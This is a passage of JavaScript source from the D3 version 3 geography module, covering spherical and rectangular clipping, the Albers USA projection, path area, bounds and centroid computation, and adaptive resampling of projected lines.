if (n > 0) {
if (!polygonStarted) listener.polygonStart(), polygonStarted = true;
listener.lineStart();
while (++i < n) listener.point((point = segment[i])[0], point[1]);
listener.lineEnd();
}
return;
}
if (n > 1 && clean & 2) ringSegments.push(ringSegments.pop().concat(ringSegments.shift()));
segments.push(ringSegments.filter(d3_geo_clipSegmentLength1));
}
return clip;
};
}
function d3_geo_clipSegmentLength1(segment) {
return segment.length > 1;
}
function d3_geo_clipBufferListener() {
var lines = [], line;
return {
lineStart: function() {
lines.push(line = []);
},
point: function(λ, φ) {
line.push([ λ, φ ]);
},
lineEnd: d3_noop,
buffer: function() {
var buffer = lines;
lines = [];
line = null;
return buffer;
},
rejoin: function() {
if (lines.length > 1) lines.push(lines.pop().concat(lines.shift()));
}
};
}
function d3_geo_clipSort(a, b) {
return ((a = a.x)[0] < 0 ? a[1] - halfπ - ε : halfπ - a[1]) - ((b = b.x)[0] < 0 ? b[1] - halfπ - ε : halfπ - b[1]);
}
var d3_geo_clipAntimeridian = d3_geo_clip(d3_true, d3_geo_clipAntimeridianLine, d3_geo_clipAntimeridianInterpolate, [ -π, -π / 2 ]);
function d3_geo_clipAntimeridianLine(listener) {
var λ0 = NaN, φ0 = NaN, sλ0 = NaN, clean;
return {
lineStart: function() {
listener.lineStart();
clean = 1;
},
point: function(λ1, φ1) {
var sλ1 = λ1 > 0 ? π : -π, dλ = abs(λ1 - λ0);
if (abs(dλ - π) < ε) {
listener.point(λ0, φ0 = (φ0 + φ1) / 2 > 0 ? halfπ : -halfπ);
listener.point(sλ0, φ0);
listener.lineEnd();
listener.lineStart();
listener.point(sλ1, φ0);
listener.point(λ1, φ0);
clean = 0;
} else if (sλ0 !== sλ1 && dλ >= π) {
if (abs(λ0 - sλ0) < ε) λ0 -= sλ0 * ε;
if (abs(λ1 - sλ1) < ε) λ1 -= sλ1 * ε;
φ0 = d3_geo_clipAntimeridianIntersect(λ0, φ0, λ1, φ1);
listener.point(sλ0, φ0);
listener.lineEnd();
listener.lineStart();
listener.point(sλ1, φ0);
clean = 0;
}
listener.point(λ0 = λ1, φ0 = φ1);
sλ0 = sλ1;
},
lineEnd: function() {
listener.lineEnd();
λ0 = φ0 = NaN;
},
clean: function() {
return 2 - clean;
}
};
}
function d3_geo_clipAntimeridianIntersect(λ0, φ0, λ1, φ1) {
var cosφ0, cosφ1, sinλ0_λ1 = Math.sin(λ0 - λ1);
return abs(sinλ0_λ1) > ε ? Math.atan((Math.sin(φ0) * (cosφ1 = Math.cos(φ1)) * Math.sin(λ1) - Math.sin(φ1) * (cosφ0 = Math.cos(φ0)) * Math.sin(λ0)) / (cosφ0 * cosφ1 * sinλ0_λ1)) : (φ0 + φ1) / 2;
}
function d3_geo_clipAntimeridianInterpolate(from, to, direction, listener) {
var φ;
if (from == null) {
φ = direction * halfπ;
listener.point(-π, φ);
listener.point(0, φ);
listener.point(π, φ);
listener.point(π, 0);
listener.point(π, -φ);
listener.point(0, -φ);
listener.point(-π, -φ);
listener.point(-π, 0);
listener.point(-π, φ);
} else if (abs(from[0] - to[0]) > ε) {
var s = from[0] < to[0] ? π : -π;
φ = direction * s / 2;
listener.point(-s, φ);
listener.point(0, φ);
listener.point(s, φ);
} else {
listener.point(to[0], to[1]);
}
}
function d3_geo_pointInPolygon(point, polygon) {
var meridian = point[0], parallel = point[1], meridianNormal = [ Math.sin(meridian), -Math.cos(meridian), 0 ], polarAngle = 0, winding = 0;
d3_geo_areaRingSum.reset();
for (var i = 0, n = polygon.length; i < n; ++i) {
var ring = polygon[i], m = ring.length;
if (!m) continue;
var point0 = ring[0], λ0 = point0[0], φ0 = point0[1] / 2 + π / 4, sinφ0 = Math.sin(φ0), cosφ0 = Math.cos(φ0), j = 1;
while (true) {
if (j === m) j = 0;
point = ring[j];
var λ = point[0], φ = point[1] / 2 + π / 4, sinφ = Math.sin(φ), cosφ = Math.cos(φ), dλ = λ - λ0, sdλ = dλ >= 0 ? 1 : -1, adλ = sdλ * dλ, antimeridian = adλ > π, k = sinφ0 * sinφ;
d3_geo_areaRingSum.add(Math.atan2(k * sdλ * Math.sin(adλ), cosφ0 * cosφ + k * Math.cos(adλ)));
polarAngle += antimeridian ? dλ + sdλ * τ : dλ;
if (antimeridian ^ λ0 >= meridian ^ λ >= meridian) {
var arc = d3_geo_cartesianCross(d3_geo_cartesian(point0), d3_geo_cartesian(point));
d3_geo_cartesianNormalize(arc);
var intersection = d3_geo_cartesianCross(meridianNormal, arc);
d3_geo_cartesianNormalize(intersection);
var φarc = (antimeridian ^ dλ >= 0 ? -1 : 1) * d3_asin(intersection[2]);
if (parallel > φarc || parallel === φarc && (arc[0] || arc[1])) {
winding += antimeridian ^ dλ >= 0 ? 1 : -1;
}
}
if (!j++) break;
λ0 = λ, sinφ0 = sinφ, cosφ0 = cosφ, point0 = point;
}
}
return (polarAngle < -ε || polarAngle < ε && d3_geo_areaRingSum < -ε) ^ winding & 1;
}
function d3_geo_clipCircle(radius) {
var cr = Math.cos(radius), smallRadius = cr > 0, notHemisphere = abs(cr) > ε, interpolate = d3_geo_circleInterpolate(radius, 6 * d3_radians);
return d3_geo_clip(visible, clipLine, interpolate, smallRadius ? [ 0, -radius ] : [ -π, radius - π ]);
function visible(λ, φ) {
return Math.cos(λ) * Math.cos(φ) > cr;
}
function clipLine(listener) {
var point0, c0, v0, v00, clean;
return {
lineStart: function() {
v00 = v0 = false;
clean = 1;
},
point: function(λ, φ) {
var point1 = [ λ, φ ], point2, v = visible(λ, φ), c = smallRadius ? v ? 0 : code(λ, φ) : v ? code(λ + (λ < 0 ? π : -π), φ) : 0;
if (!point0 && (v00 = v0 = v)) listener.lineStart();
if (v !== v0) {
point2 = intersect(point0, point1);
if (d3_geo_sphericalEqual(point0, point2) || d3_geo_sphericalEqual(point1, point2)) {
point1[0] += ε;
point1[1] += ε;
v = visible(point1[0], point1[1]);
}
}
if (v !== v0) {
clean = 0;
if (v) {
listener.lineStart();
point2 = intersect(point1, point0);
listener.point(point2[0], point2[1]);
} else {
point2 = intersect(point0, point1);
listener.point(point2[0], point2[1]);
listener.lineEnd();
}
point0 = point2;
} else if (notHemisphere && point0 && smallRadius ^ v) {
var t;
if (!(c & c0) && (t = intersect(point1, point0, true))) {
clean = 0;
if (smallRadius) {
listener.lineStart();
listener.point(t[0][0], t[0][1]);
listener.point(t[1][0], t[1][1]);
listener.lineEnd();
} else {
listener.point(t[1][0], t[1][1]);
listener.lineEnd();
listener.lineStart();
listener.point(t[0][0], t[0][1]);
}
}
}
if (v && (!point0 || !d3_geo_sphericalEqual(point0, point1))) {
listener.point(point1[0], point1[1]);
}
point0 = point1, v0 = v, c0 = c;
},
lineEnd: function() {
if (v0) listener.lineEnd();
point0 = null;
},
clean: function() {
return clean | (v00 && v0) << 1;
}
};
}
function intersect(a, b, two) {
var pa = d3_geo_cartesian(a), pb = d3_geo_cartesian(b);
var n1 = [ 1, 0, 0 ], n2 = d3_geo_cartesianCross(pa, pb), n2n2 = d3_geo_cartesianDot(n2, n2), n1n2 = n2[0], determinant = n2n2 - n1n2 * n1n2;
if (!determinant) return !two && a;
var c1 = cr * n2n2 / determinant, c2 = -cr * n1n2 / determinant, n1xn2 = d3_geo_cartesianCross(n1, n2), A = d3_geo_cartesianScale(n1, c1), B = d3_geo_cartesianScale(n2, c2);
d3_geo_cartesianAdd(A, B);
var u = n1xn2, w = d3_geo_cartesianDot(A, u), uu = d3_geo_cartesianDot(u, u), t2 = w * w - uu * (d3_geo_cartesianDot(A, A) - 1);
if (t2 < 0) return;
var t = Math.sqrt(t2), q = d3_geo_cartesianScale(u, (-w - t) / uu);
d3_geo_cartesianAdd(q, A);
q = d3_geo_spherical(q);
if (!two) return q;
var λ0 = a[0], λ1 = b[0], φ0 = a[1], φ1 = b[1], z;
if (λ1 < λ0) z = λ0, λ0 = λ1, λ1 = z;
var δλ = λ1 - λ0, polar = abs(δλ - π) < ε, meridian = polar || δλ < ε;
if (!polar && φ1 < φ0) z = φ0, φ0 = φ1, φ1 = z;
if (meridian ? polar ? φ0 + φ1 > 0 ^ q[1] < (abs(q[0] - λ0) < ε ? φ0 : φ1) : φ0 <= q[1] && q[1] <= φ1 : δλ > π ^ (λ0 <= q[0] && q[0] <= λ1)) {
var q1 = d3_geo_cartesianScale(u, (-w + t) / uu);
d3_geo_cartesianAdd(q1, A);
return [ q, d3_geo_spherical(q1) ];
}
}
function code(λ, φ) {
var r = smallRadius ? radius : π - radius, code = 0;
if (λ < -r) code |= 1; else if (λ > r) code |= 2;
if (φ < -r) code |= 4; else if (φ > r) code |= 8;
return code;
}
}
function d3_geom_clipLine(x0, y0, x1, y1) {
return function(line) {
var a = line.a, b = line.b, ax = a.x, ay = a.y, bx = b.x, by = b.y, t0 = 0, t1 = 1, dx = bx - ax, dy = by - ay, r;
r = x0 - ax;
if (!dx && r > 0) return;
r /= dx;
if (dx < 0) {
if (r < t0) return;
if (r < t1) t1 = r;
} else if (dx > 0) {
if (r > t1) return;
if (r > t0) t0 = r;
}
r = x1 - ax;
if (!dx && r < 0) return;
r /= dx;
if (dx < 0) {
if (r > t1) return;
if (r > t0) t0 = r;
} else if (dx > 0) {
if (r < t0) return;
if (r < t1) t1 = r;
}
r = y0 - ay;
if (!dy && r > 0) return;
r /= dy;
if (dy < 0) {
if (r < t0) return;
if (r < t1) t1 = r;
} else if (dy > 0) {
if (r > t1) return;
if (r > t0) t0 = r;
}
r = y1 - ay;
if (!dy && r < 0) return;
r /= dy;
if (dy < 0) {
if (r > t1) return;
if (r > t0) t0 = r;
} else if (dy > 0) {
if (r < t0) return;
if (r < t1) t1 = r;
}
if (t0 > 0) line.a = {
x: ax + t0 * dx,
y: ay + t0 * dy
};
if (t1 < 1) line.b = {
x: ax + t1 * dx,
y: ay + t1 * dy
};
return line;
};
}
var d3_geo_clipExtentMAX = 1e9;
d3.geo.clipExtent = function() {
var x0, y0, x1, y1, stream, clip, clipExtent = {
stream: function(output) {
if (stream) stream.valid = false;
stream = clip(output);
stream.valid = true;
return stream;
},
extent: function(_) {
if (!arguments.length) return [ [ x0, y0 ], [ x1, y1 ] ];
clip = d3_geo_clipExtent(x0 = +_[0][0], y0 = +_[0][1], x1 = +_[1][0], y1 = +_[1][1]);
if (stream) stream.valid = false, stream = null;
return clipExtent;
}
};
return clipExtent.extent([ [ 0, 0 ], [ 960, 500 ] ]);
};
function d3_geo_clipExtent(x0, y0, x1, y1) {
return function(listener) {
var listener_ = listener, bufferListener = d3_geo_clipBufferListener(), clipLine = d3_geom_clipLine(x0, y0, x1, y1), segments, polygon, ring;
var clip = {
point: point,
lineStart: lineStart,
lineEnd: lineEnd,
polygonStart: function() {
listener = bufferListener;
segments = [];
polygon = [];
clean = true;
},
polygonEnd: function() {
listener = listener_;
segments = d3.merge(segments);
var clipStartInside = insidePolygon([ x0, y1 ]), inside = clean && clipStartInside, visible = segments.length;
if (inside || visible) {
listener.polygonStart();
if (inside) {
listener.lineStart();
interpolate(null, null, 1, listener);
listener.lineEnd();
}
if (visible) {
d3_geo_clipPolygon(segments, compare, clipStartInside, interpolate, listener);
}
listener.polygonEnd();
}
segments = polygon = ring = null;
}
};
function insidePolygon(p) {
var wn = 0, n = polygon.length, y = p[1];
for (var i = 0; i < n; ++i) {
for (var j = 1, v = polygon[i], m = v.length, a = v[0], b; j < m; ++j) {
b = v[j];
if (a[1] <= y) {
if (b[1] > y && d3_cross2d(a, b, p) > 0) ++wn;
} else {
if (b[1] <= y && d3_cross2d(a, b, p) < 0) --wn;
}
a = b;
}
}
return wn !== 0;
}
function interpolate(from, to, direction, listener) {
var a = 0, a1 = 0;
if (from == null || (a = corner(from, direction)) !== (a1 = corner(to, direction)) || comparePoints(from, to) < 0 ^ direction > 0) {
do {
listener.point(a === 0 || a === 3 ? x0 : x1, a > 1 ? y1 : y0);
} while ((a = (a + direction + 4) % 4) !== a1);
} else {
listener.point(to[0], to[1]);
}
}
function pointVisible(x, y) {
return x0 <= x && x <= x1 && y0 <= y && y <= y1;
}
function point(x, y) {
if (pointVisible(x, y)) listener.point(x, y);
}
var x__, y__, v__, x_, y_, v_, first, clean;
function lineStart() {
clip.point = linePoint;
if (polygon) polygon.push(ring = []);
first = true;
v_ = false;
x_ = y_ = NaN;
}
function lineEnd() {
if (segments) {
linePoint(x__, y__);
if (v__ && v_) bufferListener.rejoin();
segments.push(bufferListener.buffer());
}
clip.point = point;
if (v_) listener.lineEnd();
}
function linePoint(x, y) {
x = Math.max(-d3_geo_clipExtentMAX, Math.min(d3_geo_clipExtentMAX, x));
y = Math.max(-d3_geo_clipExtentMAX, Math.min(d3_geo_clipExtentMAX, y));
var v = pointVisible(x, y);
if (polygon) ring.push([ x, y ]);
if (first) {
x__ = x, y__ = y, v__ = v;
first = false;
if (v) {
listener.lineStart();
listener.point(x, y);
}
} else {
if (v && v_) listener.point(x, y); else {
var l = {
a: {
x: x_,
y: y_
},
b: {
x: x,
y: y
}
};
if (clipLine(l)) {
if (!v_) {
listener.lineStart();
listener.point(l.a.x, l.a.y);
}
listener.point(l.b.x, l.b.y);
if (!v) listener.lineEnd();
clean = false;
} else if (v) {
listener.lineStart();
listener.point(x, y);
clean = false;
}
}
}
x_ = x, y_ = y, v_ = v;
}
return clip;
};
function corner(p, direction) {
return abs(p[0] - x0) < ε ? direction > 0 ? 0 : 3 : abs(p[0] - x1) < ε ? direction > 0 ? 2 : 1 : abs(p[1] - y0) < ε ? direction > 0 ? 1 : 0 : direction > 0 ? 3 : 2;
}
function compare(a, b) {
return comparePoints(a.x, b.x);
}
function comparePoints(a, b) {
var ca = corner(a, 1), cb = corner(b, 1);
return ca !== cb ? ca - cb : ca === 0 ? b[1] - a[1] : ca === 1 ? a[0] - b[0] : ca === 2 ? a[1] - b[1] : b[0] - a[0];
}
}
function d3_geo_conic(projectAt) {
var φ0 = 0, φ1 = π / 3, m = d3_geo_projectionMutator(projectAt), p = m(φ0, φ1);
p.parallels = function(_) {
if (!arguments.length) return [ φ0 / π * 180, φ1 / π * 180 ];
return m(φ0 = _[0] * π / 180, φ1 = _[1] * π / 180);
};
return p;
}
function d3_geo_conicEqualArea(φ0, φ1) {
var sinφ0 = Math.sin(φ0), n = (sinφ0 + Math.sin(φ1)) / 2, C = 1 + sinφ0 * (2 * n - sinφ0), ρ0 = Math.sqrt(C) / n;
function forward(λ, φ) {
var ρ = Math.sqrt(C - 2 * n * Math.sin(φ)) / n;
return [ ρ * Math.sin(λ *= n), ρ0 - ρ * Math.cos(λ) ];
}
forward.invert = function(x, y) {
var ρ0_y = ρ0 - y;
return [ Math.atan2(x, ρ0_y) / n, d3_asin((C - (x * x + ρ0_y * ρ0_y) * n * n) / (2 * n)) ];
};
return forward;
}
(d3.geo.conicEqualArea = function() {
return d3_geo_conic(d3_geo_conicEqualArea);
}).raw = d3_geo_conicEqualArea;
d3.geo.albers = function() {
return d3.geo.conicEqualArea().rotate([ 96, 0 ]).center([ -.6, 38.7 ]).parallels([ 29.5, 45.5 ]).scale(1070);
};
d3.geo.albersUsa = function() {
var lower48 = d3.geo.albers();
var alaska = d3.geo.conicEqualArea().rotate([ 154, 0 ]).center([ -2, 58.5 ]).parallels([ 55, 65 ]);
var hawaii = d3.geo.conicEqualArea().rotate([ 157, 0 ]).center([ -3, 19.9 ]).parallels([ 8, 18 ]);
var point, pointStream = {
point: function(x, y) {
point = [ x, y ];
}
}, lower48Point, alaskaPoint, hawaiiPoint;
function albersUsa(coordinates) {
var x = coordinates[0], y = coordinates[1];
point = null;
(lower48Point(x, y), point) || (alaskaPoint(x, y), point) || hawaiiPoint(x, y);
return point;
}
albersUsa.invert = function(coordinates) {
var k = lower48.scale(), t = lower48.translate(), x = (coordinates[0] - t[0]) / k, y = (coordinates[1] - t[1]) / k;
return (y >= .12 && y < .234 && x >= -.425 && x < -.214 ? alaska : y >= .166 && y < .234 && x >= -.214 && x < -.115 ? hawaii : lower48).invert(coordinates);
};
albersUsa.stream = function(stream) {
var lower48Stream = lower48.stream(stream), alaskaStream = alaska.stream(stream), hawaiiStream = hawaii.stream(stream);
return {
point: function(x, y) {
lower48Stream.point(x, y);
alaskaStream.point(x, y);
hawaiiStream.point(x, y);
},
sphere: function() {
lower48Stream.sphere();
alaskaStream.sphere();
hawaiiStream.sphere();
},
lineStart: function() {
lower48Stream.lineStart();
alaskaStream.lineStart();
hawaiiStream.lineStart();
},
lineEnd: function() {
lower48Stream.lineEnd();
alaskaStream.lineEnd();
hawaiiStream.lineEnd();
},
polygonStart: function() {
lower48Stream.polygonStart();
alaskaStream.polygonStart();
hawaiiStream.polygonStart();
},
polygonEnd: function() {
lower48Stream.polygonEnd();
alaskaStream.polygonEnd();
hawaiiStream.polygonEnd();
}
};
};
albersUsa.precision = function(_) {
if (!arguments.length) return lower48.precision();
lower48.precision(_);
alaska.precision(_);
hawaii.precision(_);
return albersUsa;
};
albersUsa.scale = function(_) {
if (!arguments.length) return lower48.scale();
lower48.scale(_);
alaska.scale(_ * .35);
hawaii.scale(_);
return albersUsa.translate(lower48.translate());
};
albersUsa.translate = function(_) {
if (!arguments.length) return lower48.translate();
var k = lower48.scale(), x = +_[0], y = +_[1];
lower48Point = lower48.translate(_).clipExtent([ [ x - .455 * k, y - .238 * k ], [ x + .455 * k, y + .238 * k ] ]).stream(pointStream).point;
alaskaPoint = alaska.translate([ x - .307 * k, y + .201 * k ]).clipExtent([ [ x - .425 * k + ε, y + .12 * k + ε ], [ x - .214 * k - ε, y + .234 * k - ε ] ]).stream(pointStream).point;
hawaiiPoint = hawaii.translate([ x - .205 * k, y + .212 * k ]).clipExtent([ [ x - .214 * k + ε, y + .166 * k + ε ], [ x - .115 * k - ε, y + .234 * k - ε ] ]).stream(pointStream).point;
return albersUsa;
};
return albersUsa.scale(1070);
};
var d3_geo_pathAreaSum, d3_geo_pathAreaPolygon, d3_geo_pathArea = {
point: d3_noop,
lineStart: d3_noop,
lineEnd: d3_noop,
polygonStart: function() {
d3_geo_pathAreaPolygon = 0;
d3_geo_pathArea.lineStart = d3_geo_pathAreaRingStart;
},
polygonEnd: function() {
d3_geo_pathArea.lineStart = d3_geo_pathArea.lineEnd = d3_geo_pathArea.point = d3_noop;
d3_geo_pathAreaSum += abs(d3_geo_pathAreaPolygon / 2);
}
};
function d3_geo_pathAreaRingStart() {
var x00, y00, x0, y0;
d3_geo_pathArea.point = function(x, y) {
d3_geo_pathArea.point = nextPoint;
x00 = x0 = x, y00 = y0 = y;
};
function nextPoint(x, y) {
d3_geo_pathAreaPolygon += y0 * x - x0 * y;
x0 = x, y0 = y;
}
d3_geo_pathArea.lineEnd = function() {
nextPoint(x00, y00);
};
}
var d3_geo_pathBoundsX0, d3_geo_pathBoundsY0, d3_geo_pathBoundsX1, d3_geo_pathBoundsY1;
var d3_geo_pathBounds = {
point: d3_geo_pathBoundsPoint,
lineStart: d3_noop,
lineEnd: d3_noop,
polygonStart: d3_noop,
polygonEnd: d3_noop
};
function d3_geo_pathBoundsPoint(x, y) {
if (x < d3_geo_pathBoundsX0) d3_geo_pathBoundsX0 = x;
if (x > d3_geo_pathBoundsX1) d3_geo_pathBoundsX1 = x;
if (y < d3_geo_pathBoundsY0) d3_geo_pathBoundsY0 = y;
if (y > d3_geo_pathBoundsY1) d3_geo_pathBoundsY1 = y;
}
function d3_geo_pathBuffer() {
var pointCircle = d3_geo_pathBufferCircle(4.5), buffer = [];
var stream = {
point: point,
lineStart: function() {
stream.point = pointLineStart;
},
lineEnd: lineEnd,
polygonStart: function() {
stream.lineEnd = lineEndPolygon;
},
polygonEnd: function() {
stream.lineEnd = lineEnd;
stream.point = point;
},
pointRadius: function(_) {
pointCircle = d3_geo_pathBufferCircle(_);
return stream;
},
result: function() {
if (buffer.length) {
var result = buffer.join("");
buffer = [];
return result;
}
}
};
function point(x, y) {
buffer.push("M", x, ",", y, pointCircle);
}
function pointLineStart(x, y) {
buffer.push("M", x, ",", y);
stream.point = pointLine;
}
function pointLine(x, y) {
buffer.push("L", x, ",", y);
}
function lineEnd() {
stream.point = point;
}
function lineEndPolygon() {
buffer.push("Z");
}
return stream;
}
function d3_geo_pathBufferCircle(radius) {
return "m0," + radius + "a" + radius + "," + radius + " 0 1,1 0," + -2 * radius + "a" + radius + "," + radius + " 0 1,1 0," + 2 * radius + "z";
}
var d3_geo_pathCentroid = {
point: d3_geo_pathCentroidPoint,
lineStart: d3_geo_pathCentroidLineStart,
lineEnd: d3_geo_pathCentroidLineEnd,
polygonStart: function() {
d3_geo_pathCentroid.lineStart = d3_geo_pathCentroidRingStart;
},
polygonEnd: function() {
d3_geo_pathCentroid.point = d3_geo_pathCentroidPoint;
d3_geo_pathCentroid.lineStart = d3_geo_pathCentroidLineStart;
d3_geo_pathCentroid.lineEnd = d3_geo_pathCentroidLineEnd;
}
};
function d3_geo_pathCentroidPoint(x, y) {
d3_geo_centroidX0 += x;
d3_geo_centroidY0 += y;
++d3_geo_centroidZ0;
}
function d3_geo_pathCentroidLineStart() {
var x0, y0;
d3_geo_pathCentroid.point = function(x, y) {
d3_geo_pathCentroid.point = nextPoint;
d3_geo_pathCentroidPoint(x0 = x, y0 = y);
};
function nextPoint(x, y) {
var dx = x - x0, dy = y - y0, z = Math.sqrt(dx * dx + dy * dy);
d3_geo_centroidX1 += z * (x0 + x) / 2;
d3_geo_centroidY1 += z * (y0 + y) / 2;
d3_geo_centroidZ1 += z;
d3_geo_pathCentroidPoint(x0 = x, y0 = y);
}
}
function d3_geo_pathCentroidLineEnd() {
d3_geo_pathCentroid.point = d3_geo_pathCentroidPoint;
}
function d3_geo_pathCentroidRingStart() {
var x00, y00, x0, y0;
d3_geo_pathCentroid.point = function(x, y) {
d3_geo_pathCentroid.point = nextPoint;
d3_geo_pathCentroidPoint(x00 = x0 = x, y00 = y0 = y);
};
function nextPoint(x, y) {
var dx = x - x0, dy = y - y0, z = Math.sqrt(dx * dx + dy * dy);
d3_geo_centroidX1 += z * (x0 + x) / 2;
d3_geo_centroidY1 += z * (y0 + y) / 2;
d3_geo_centroidZ1 += z;
z = y0 * x - x0 * y;
d3_geo_centroidX2 += z * (x0 + x);
d3_geo_centroidY2 += z * (y0 + y);
d3_geo_centroidZ2 += z * 3;
d3_geo_pathCentroidPoint(x0 = x, y0 = y);
}
d3_geo_pathCentroid.lineEnd = function() {
nextPoint(x00, y00);
};
}
function d3_geo_pathContext(context) {
var pointRadius = 4.5;
var stream = {
point: point,
lineStart: function() {
stream.point = pointLineStart;
},
lineEnd: lineEnd,
polygonStart: function() {
stream.lineEnd = lineEndPolygon;
},
polygonEnd: function() {
stream.lineEnd = lineEnd;
stream.point = point;
},
pointRadius: function(_) {
pointRadius = _;
return stream;
},
result: d3_noop
};
function point(x, y) {
context.moveTo(x + pointRadius, y);
context.arc(x, y, pointRadius, 0, τ);
}
function pointLineStart(x, y) {
context.moveTo(x, y);
stream.point = pointLine;
}
function pointLine(x, y) {
context.lineTo(x, y);
}
function lineEnd() {
stream.point = point;
}
function lineEndPolygon() {
context.closePath();
}
return stream;
}
function d3_geo_resample(project) {
var δ2 = .5, cosMinDistance = Math.cos(30 * d3_radians), maxDepth = 16;
function resample(stream) {
return (maxDepth ? resampleRecursive : resampleNone)(stream);
}
function resampleNone(stream) {
return d3_geo_transformPoint(stream, function(x, y) {
x = project(x, y);
stream.point(x[0], x[1]);
});
}
function resampleRecursive(stream) {
var λ00, φ00, x00, y00, a00, b00, c00, λ0, x0, y0, a0, b0, c0;
var resample = {
point: point,
lineStart: lineStart,
lineEnd: lineEnd,
polygonStart: function() {
stream.polygonStart();
resample.lineStart = ringStart;
},
polygonEnd: function() {
stream.polygonEnd();
resample.lineStart = lineStart;
}
};
function point(x, y) {
x = project(x, y);
stream.point(x[0], x[1]);
}
function lineStart() {
x0 = NaN;
resample.point = linePoint;
stream.lineStart();
}
function linePoint(λ, φ) {
var c = d3_geo_cartesian([ λ, φ ]), p = project(λ, φ);
resampleLineTo(x0, y0, λ0, a0, b0, c0, x0 = p[0], y0 = p[1], λ0 = λ, a0 = c[0], b0 = c[1], c0 = c[2], maxDepth, stream);
stream.point(x0, y0);
}
function lineEnd() {
resample.point = point;
stream.lineEnd();
}
function ringStart() {
lineStart();
resample.point = ringPoint;
resample.lineEnd = ringEnd;
}
function ringPoint(λ, φ) {
linePoint(λ00 = λ, φ00 = φ), x00 = x0, y00 = y0, a00 = a0, b00 = b0, c00 = c0;
resample.point = linePoint;
}
function ringEnd() {
resampleLineTo(x0, y0, λ0, a0, b0, c0, x00, y00, λ00, a00, b00, c00, maxDepth, stream);
resample.lineEnd = lineEnd;
lineEnd();
}
return resample;
}
function resampleLineTo(x0, y0, λ0, a0, b0, c0, x1, y1, λ1, a1, b1, c1, depth, stream) {
var dx = x1 - x0, dy = y1 - y0, d2 = dx * dx + dy * dy;
if (d2 > 4 * δ2 && depth--) {
var a = a0 + a1, b = b0 + b1, c = c0 + c1, m = Math.sqrt(a * a + b * b + c * c), φ2 = Math.asin(c /= m), λ2 = abs(abs(c) - 1) < ε || abs(λ0 - λ1) < ε ? (λ0 + λ1) / 2 : Math.atan2(b, a), p = project(λ2, φ2), x2 = p[0], y2 = p[1], dx2 = x2 - x0, dy2 = y2 - y0, dz = dy * dx2 - dx * dy2;
if (dz * dz / d2 > δ2 || abs((dx * dx2 + dy * dy2) / d2 - .5) > .3 || a0 * a1 + b0 * b1 + c0 * c1 < cosMinDistance) {
resampleLineTo(x0, y0, λ0, a0, b0, c0, x2, y2, λ2, a /= m, b /= m, c, depth, stream);
stream.point(x2, y2);
resampleLineTo(x2, y2, λ2, a, b, c, x1, y1, λ1, a1, b1, c1, depth, stream);
}
}
}
resample.precision = function(_) {
if (!arguments.length) return Math.sqrt(δ2);
maxDepth = (δ2 = _ * _) > 0 && 16;
return resample;
};
return resample;
}
d3.geo.path = function() {
var pointRadius = 4.5, projection, context, projectStream, contextStream, cacheStream;
function path(object) {
if (object) {
if (typeof pointRadius === "function") contextStream.pointRadius(+pointRadius.apply(this, arguments));
if (!cacheStream || !cacheStream.valid) cacheStream = projectStream(contextStream);
d3.geo.stream(object, cacheStream);
}
return contextStream.result();
}
path.area = function(object) {
d3_geo_pathAreaSum = 0;
d3.geo.stream(object, projectStream(d3_geo_pathArea));
return d3_geo_pathAreaSum;
};
path.centroid = function(object) {
d3_geo_centroidX0 = d3_geo_centroidY0 = d3_geo_centroidZ0 = d3_geo_centroidX1 = d3_geo_centroidY1 = d3_geo_centroidZ1 = d3_geo_centroidX2 = d3_geo_centroidY2 = d3_geo_centroidZ2 = 0;
d3.geo.stream(object, projectStream(d3_geo_pathCentroid));
return d3_geo_centroidZ2 ? [ d3_geo_centroidX2 / d3_geo_centroidZ2, d3_geo_centroidY2 / d3_geo_centroidZ2 ] : d3_geo_centroidZ1 ? [ d3_geo_centroidX1 / d3_geo_centroidZ1, d3_geo_centroidY1 / d3_geo_centroidZ1 ] : d3_geo_centroidZ0 ? [ d3_geo_centroidX0 / d3_geo_centroidZ0, d3_geo_centroidY0 / d3_geo_centroidZ0 ] : [ NaN, NaN ];
};
path.bounds = function(object) {
d3_geo_pathBoundsX1 = d3_geo_pathBoundsY1 = -(d3_geo_pathBoundsX0 = d3_geo_pathBoundsY0 = Infinity);
d3.geo.stream(object, projectStream(d3_geo_pathBounds));
return [ [ d3_geo_pathBoundsX0, d3_geo_pathBoundsY0 ], [ d3_geo_pathBoundsX1, d3_geo_pathBoundsY1 ] ];
};
path.projection = function(_) {
if (!arguments.length) return projection;
projectStream = (projection = _) ? _.stream || d3_geo_pathProjectStream(_) : d3_identity;
return reset();
};
path.context = function(_) {
if (!arguments.length) return context;
contextStream = (context = _) == null ? new d3_geo_pathBuffer() : new d3_geo_pathContext(_);
if (typeof pointRadius !== "function") contextStream.pointRadius(pointRadius);
return reset();
};
path.pointRadius = function(_) {
if (!arguments.length) return pointRadius;
pointRadius = typeof _ === "function" ? _ : (contextStream.pointRadius(+_), +_);
return path;
};
function reset() {
cacheStream = null;
return path;
}
return path.projection(d3.geo.albersUsa()).context(null);
};
function d3_geo_pathProjectStream(project) {
var resample = d3_geo_resample(function(x, y) {
return project([ x * d3_degrees, y * d3_degrees ]);
});
return function(stream) {
return d3_geo_projectionRadians(resample(stream));
};
}
d3.geo.transform = function(methods) {
return {
stream: function(stream) {
var transform = new d3_geo_transform(stream);
for (var k in methods) transform[k] = methods[k];
return transform;
}
};
};
function d3_geo_transform(stream) {
this.stream = stream;
}
d3_geo_transform.prototype = {
point: function(x, y) {
this.stream.point(x, y);
},
sphere: function() {
this.stream.sphere();
},
lineStart: function() {
this.stream.lineStart();
},
lineEnd: function() {
this.stream.lineEnd();
},
polygonStart: function() {
this.stream.polygonStart();
},
polygonEnd: function() {
this.stream.polygonEnd();
}
};
function d3_geo_transformPoint(stream, point) {
return {
point: point,
sphere: function() {
stream.sphere();
},
lineStart: function() {
stream.lineStart();
},
lineEnd: function() {
stream.lineEnd();
},
polygonStart: function() {
stream.polygonStart();
},
polygonEnd: function() {
stream.polygonEnd();
}
};
}
d3.geo.projection = d3_geo_projection;
d3.geo.projectionMutator = d3_geo_projectionMutator;
function d3_geo_projection(project) {
return d3_geo_projectionMutator(function() {
return project;
})();
}
function d3_geo_projectionMutator(projectAt) {
var project, rotate, projectRotate, projectResample = d3_geo_resample(function(x, y) {
x = project(x, y);
return [ x[0] * k + δx, δy - x[1] * k ];
}), k = 150, x = 480, y = 250, λ = 0, φ = 0, δλ = 0, δφ = 0, δγ = 0, δx, δy, preclip = d3_geo_clipAntimeridian, postclip = d3_identity, clipAngle = null, clipExtent = null, stream;
function projection(point) {
point = projectRotate(point[0] * d3_radians, point[1] * d3_radians);
